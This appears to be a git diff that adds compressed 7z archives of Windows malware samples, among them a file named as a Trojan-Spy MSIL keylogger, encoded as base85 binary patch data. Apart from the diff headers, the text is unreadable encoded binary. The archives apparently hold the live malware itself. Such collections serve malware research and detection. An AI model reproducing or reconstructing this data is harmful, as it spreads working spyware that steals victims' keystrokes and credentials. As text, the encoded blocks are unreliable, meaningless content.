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 W`bpFHP11k|nEm{dh=ADdv;PORmHdSO literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.jfp-f.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.jfp-f.7z new file mode 100644 index 0000000000000000000000000000000000000000..61f6963da63bacd931b2b93db6b9080336361cb2 GIT binary patch literal 13583 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 